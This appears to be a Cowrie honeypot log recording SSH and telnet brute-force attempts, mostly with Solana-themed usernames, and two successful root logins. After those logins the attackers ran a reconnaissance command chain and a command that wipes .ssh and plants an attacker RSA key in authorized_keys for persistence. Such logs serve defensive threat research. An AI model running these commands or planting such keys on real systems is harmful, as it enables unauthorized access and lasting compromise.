{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:10.537386Z","src_ip":"92.118.39.92","session":"29ccd1ee3ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:10.856416Z","src_ip":"92.118.39.92","session":"29ccd1ee3ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:11.964759Z","src_ip":"92.118.39.92","session":"29ccd1ee3ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":6324,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dae27db23da","protocol":"ssh","message":"New connection: 103.82.27.19:6324 (159.203.135.109:22) [session: 7dae27db23da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:12.734817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:12.739044Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:12.991001Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty12345","message":"login attempt [root/qwerty12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:14.436965Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:15.080210Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:15.084321Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:15.375503Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:15.380809Z","src_ip":"103.82.27.19","session":"7dae27db23da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":57274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0435e1ec342","protocol":"telnet","message":"New connection: 49.88.156.34:57274 (10.17.0.5:23) [session: d0435e1ec342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:18.396072Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58102,"dst_ip":"10.17.0.5","dst_port":22,"session":"27d1b77e62e2","protocol":"ssh","message":"New connection: 2.57.122.210:58102 (10.17.0.5:22) [session: 27d1b77e62e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:43.737470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:43.741620Z","src_ip":"2.57.122.210","session":"27d1b77e62e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:43.845465Z","src_ip":"2.57.122.210","session":"27d1b77e62e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin","message":"login attempt [sol/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:44.161282Z","src_ip":"2.57.122.210","session":"27d1b77e62e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:19:45.271806Z","src_ip":"2.57.122.210","session":"27d1b77e62e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.5233542919159,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:20:57.919320Z","src_ip":"49.88.156.34","session":"d0435e1ec342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d588569266","protocol":"ssh","message":"New connection: 92.118.39.92:53724 (10.17.0.5:22) [session: e2d588569266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:32.210378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:32.214458Z","src_ip":"92.118.39.92","session":"e2d588569266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:32.315729Z","src_ip":"92.118.39.92","session":"e2d588569266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:32.619131Z","src_ip":"92.118.39.92","session":"e2d588569266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:33.722820Z","src_ip":"92.118.39.92","session":"e2d588569266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":60860,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3cd03d70bd","protocol":"ssh","message":"New connection: 2.57.122.210:60860 (10.17.0.5:22) [session: 7c3cd03d70bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:57.351498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:57.356586Z","src_ip":"2.57.122.210","session":"7c3cd03d70bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:57.453281Z","src_ip":"2.57.122.210","session":"7c3cd03d70bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"validator","message":"login attempt [sol/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:57.743118Z","src_ip":"2.57.122.210","session":"7c3cd03d70bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:21:58.842370Z","src_ip":"2.57.122.210","session":"7c3cd03d70bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.58.136.133","src_port":54182,"dst_ip":"159.203.135.109","dst_port":22,"session":"501cc68798e3","protocol":"ssh","message":"New connection: 37.58.136.133:54182 (159.203.135.109:22) [session: 501cc68798e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.076065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.080961Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.181000Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"a741852963","message":"login attempt [root/a741852963] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.612715Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.853287Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.856868Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.861435Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:32.965146Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.202549Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.205871Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.311051Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
